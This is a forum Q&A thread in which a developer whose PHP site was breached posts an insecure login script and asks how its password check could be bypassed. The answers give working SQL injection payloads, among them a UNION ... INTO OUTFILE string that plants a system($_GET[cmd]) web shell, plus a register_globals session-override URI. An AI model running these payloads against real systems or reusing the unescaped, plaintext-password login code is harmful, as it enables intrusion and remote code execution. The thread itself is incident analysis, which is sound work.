skip to Main Content

Background:

A website I made some year ago has been recently attacked; the exploiters managed to get access to the PHP front-end I made for the client, which is used to upload files, and they managed to upload some PHP files containing an exploit among other things like a PHP-based file manager. I can post the content of each uploaded PHP file if of interest, however the problem is of course that they managed to gain access to the client’s front end.

The site hasn’t been updated since it was first made (it uses old and deprecated MySQL functions and no mysql_real_escape_string() to check the inputs in the login panel (I know)), however I’m not totally sure that it’s through a SQL injection that they managed to gain access.

The vhost runs on Windows / Parallels Plesk and I don’t have neither SSH access nor access to the logs: I’ve opened a ticket with the hosting provider asking for the logs, however I’m not sure if they can provide them and how much it will take to do so, so to not risk anything more in the meantime I’m trying to exploit the suspected flaw myself.

I’m able to perform an injection in the SQL statement used to retrieve the user’s data to bypass the user check, however I’m unable to break the password check immediately after, which is done in PHP.

TL;DR

The following is the relevant snippet used to retrieve the user data and to check the password: I’m able to perform an injection in the SQL statement (e.g. using " OR ""=" as the username), however I’m unable to break the password check immediately after:

<?PHP
// ...
else {
    $query='SELECT * FROM users WHERE username="' . $username . '";';
    $query_result=mysql_query($query);
    if(!$query_result) {
        die (mysql_error());
    }
    else {
        $user_data=mysql_fetch_array($query_result);
        if($user_data && $user_data['password']==$password) {
            session_start();
            $_SESSION['user_id']=$user_data['id'];
            $_SESSION['user_username']=$user_data['username'];
            $_SESSION['user_password']=$user_data['password'];
            $_SESSION['user_privileges']=$user_data['privileges'];
            session_write_close();
            $next_page='control_panel.php';
        }
        else {
            $next_page='login.php?notify=username_password_wrong';
        }
    }
}
mysql_close($mysql_connect);
// ...
?>

Is breaking such check feasible? Or am I totally wrong on my suspicions and I should look elsewhere to find the weak spot?

2

Answers


  1. Short answer:

    The password check via the if statement is not sufficient. With the SQL injection and access to the source of your authentication script, they have everything they need for full access.

    Long answer:

    We’ve already established that your auth script is vulnerable to SQL injection. You also describe the code as very old and unchanged. From this it is reasonable to assume that the web server running this application is also old and outdated.

    If you have register_globals enabled on this server, then it would be very easy to set the $_SESSION values directly — bypassing your if statement password check. It would be as simple as submitting a GET request with the following URI: site.php?_SESSION[user_id]=12345.

    If the hackers were able to upload their own PHP files, then they were certainly able to obtain the full code of your authentication script and determine if register_globals is enabled.

    Further reading on security implications of register_globals.

    This is just one possible way they could have fully compromised your application. But honestly, if they used SQL injection to obtain credentials on all users and they had executable files uploaded to your account, then there are a billion ways they could have fully compromised your application.

    Login or Signup to reply.
  2. While not an exhaustive list, here are a few ways to bypass the php password check:

    1) Use the SQL injection payload of " union select '<?php system($_GET[cmd]); ?>',2,3,etc into outfile '/var/www/shell.php' -- which will create a backdoor and then fail the authentication check. The attacker can now just browse directly to shell.php

    2) Use error based SQL injection to retrieve the content of the user table and then use the plain text credentials to login.

    3) Use a union query to return static values and for the username and password fields " union select 1,'password',privileges,etc from users --

    This is of course assuming this was the actual attack vector.

    Login or Signup to reply.
Please signup or login to give your own answer.
Back To Top
Search